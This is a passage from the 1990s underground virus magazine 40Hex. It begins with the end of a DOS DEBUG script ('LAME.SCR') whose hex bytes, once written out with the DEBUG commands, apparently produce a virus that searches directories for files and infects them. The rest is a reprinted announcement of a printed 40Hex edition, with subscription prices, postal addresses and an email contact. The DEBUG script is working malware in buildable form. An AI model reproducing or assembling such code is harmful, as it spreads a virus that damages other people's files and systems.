E 08C0  56 06 62 06 71 06 7E 06 88 06 8F 06 06 BF 06 BF
E 08D0  06 E8 07 B7 06 06 F8 06 F8 06 CD 06 DF 06 06 21
E 08E0  07 21 07 1A 08 10 07 02 2B 07 F4 07 02 78 07 F9
E 08F0  07 02 81 07 FE 07 0E A9 07 A9 07 34 08 C0 07 85
E 0900  07 8B 07 91 07 91 07 5E 8B C6 B1 04 D3 E8 2D 10
E 0910  00 03 C3 BB 19 09 50 53 CB BF 00 01 06 57 06 06
E 0920  A5 A5 0E 0E 07 1F B4 1A BA B8 0A CD 21 B4 47 99
E 0930  BE 78 0A C6 44 FF 5C CD 21 C6 06 18 0A 04 90 E8
E 0940  1D F8 B4 4E BA 0A 01 CD 21 73 1A B4 3B BA 10 01
E 0950  CD 21 73 EE B4 3B BA 77 0A CD 21 07 1F BA 80 00
E 0960  B4 1A CD 21 CB B8 00 3D BA D6 0A CD 21 72 26 93
E 0970  B4 3F B9 04 00 BA 06 01 CD 21 B4 3E CD 21 81 3E
E 0980  06 01 FC E9 74 0F 02 C4 3C A7 74 09 E8 0A 00 FE
E 0990  0E 18 0A 74 BF B4 4F EB AE B8 00 3D BA D6 0A CD
E 09A0  21 50 93 B8 20 12 CD 2F B8 16 12 26 8A 1D B7 00
E 09B0  CD 2F 5B 26 C7 45 02 02 00 26 8B 45 11 8B E8 B9
E 09C0  04 00 2B C1 A3 16 0A B4 40 BA 14 0A CD 21 26 89
E 09D0  6D 15 06 57 0E 07 BE 00 01 BF 04 0D B9 8B 04 F3
E 09E0  A5 B8 0B 00 BA 04 0D B9 16 09 BE 64 0B BF E4 0A
E 09F0  52 53 56 8B DD FE C7 E8 D4 F7 B4 40 5A 5B CD 21
E 0A00  B4 40 B9 16 09 5A CD 21 5F 07 26 80 4D 06 40 B4
E 0A10  3E CD 21 C3 FC E9
E 163A  C6 06 00 01 FC C7
E 1640  06 01 01 8C DB 33 FF 0E 57 0E 0E E9 D4 F2
R CX
154E
W
Q
--End LAME.SCR-----------------------------------------------------------------
                                                                             DA
40Hex Number 12 Volume 3 Issue 3                                      File 002

Extracted From CuD [5.66]
-------------------------

Subject: File 3--40Hex is now a print magazine
From: fortyhex (geoff heap)
Date: Mon, 16 Aug 93 17:19:02 EDT

     40Hex, the world's most popular underground virus magazine is now
available in two versions -- the familiar online magazine and a new
printed magazine.
     In the past two and a half years, 40Hex has become the most popular
virus magazine in the underground.  The new printed magazine (dubbed
40Hex Hardcopy) is intended for anyone who wishes to learn as much as
they can about computer viruses -- from the source, the virus writers.
     Each issue will contain --

     o A complete virus disassembly, fully commented in the 40Hex
       tradition,

     o Detailed programming articles, intended for those fluent in
       assembly,

     o Introductory articles intended to help those on all levels of
       ability, and

     o Interviews with virus writers and virus researchers.

     Also included is an editorial column, which will provide a forum
for discussions about any virus related issue.  Submissions from both
sides of the argument are welcome, and will be given an equal voice.


     Subscriptions --

     The price for 40Hex Hardcopy is $35 per year for individuals, $50
per year for corporations.  The magazine is bimonthly (six issues per
year).

     The online magazine is available free of charge from many privately
operated BBSs.  You may receive a disk with the latest issue from us for
$5.  Please send a note specifying whether you would like a 5 1/4 or a 3
1/2 inch disk.

     Correspondence --

Subscription requests should be addressed to

        Subscriptions
        40Hex Magazine
        PO Box 252
        New City, NY, 10956

Article submissions should be addressed to

        Articles
        40Hex Magazine
        PO Box 252
        New City, NY, 10956

Letters to the editors should be addressed to

        The Editors
        40Hex Magazine
        PO Box 252
        New City, NY, 10956

if you have access to internet E-Mail, you can send a note to

        fortyhex@mindvox.phantom.com


note: manuscripts will not be returned to the sender unless they are
accompanied by postage.  All submissions must be marked "manuscript
submitted for publication."


     The online magazine will still be published, and will remain
separate from the new hardcopy magazine with no article overlap.


+++

                                        Leni Niles
                                        Co-Editor, 40Hex Hardcopy